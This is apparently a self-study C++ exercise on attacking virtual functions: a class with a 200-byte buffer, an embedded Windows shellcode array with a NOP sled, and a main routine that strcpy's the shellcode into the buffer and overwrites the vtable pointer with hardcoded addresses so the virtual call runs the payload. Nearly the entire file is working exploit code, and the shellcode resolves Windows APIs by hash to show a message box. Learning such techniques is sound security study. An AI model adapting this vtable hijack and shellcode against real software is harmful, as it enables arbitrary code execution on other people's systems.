攻击虚函数学习

#include "stdafx.h"
#include 
#include 

class failwest
{
public:
	char buf[200];
	virtual void f1(void)
	{
		cout<<"Class Vtable test";
	}
};
failwest overflow,*p;

char shellcode[]=

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53"
"\x68\x64\x61\x30\x23"
"\x68\x23\x50\x61\x6E"
"\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8"//168



"\x90\x90\x90\x90\x90\x90\x90\x90"
"\x74\xBA\x40\x00";//这里是是V函数指针
//0040BA74
int main(int argc, char* argv[])
{
	char * p_vtable;
	
	p_vtable = overflow.buf - 4;
	//0040BB38
	strcpy(overflow.buf,shellcode);
	p_vtable[3]=0x00;//这里是Vtable 指针
	p_vtable[2]=0x40;
	p_vtable[1]=0xbb;
	p_vtable[0]=0x38;
//Vtable指针指向 V函数  
//在汇编中是 call Vtable指针的方式调用的

	p = &overflow;
	p->f1();

	return 0;
}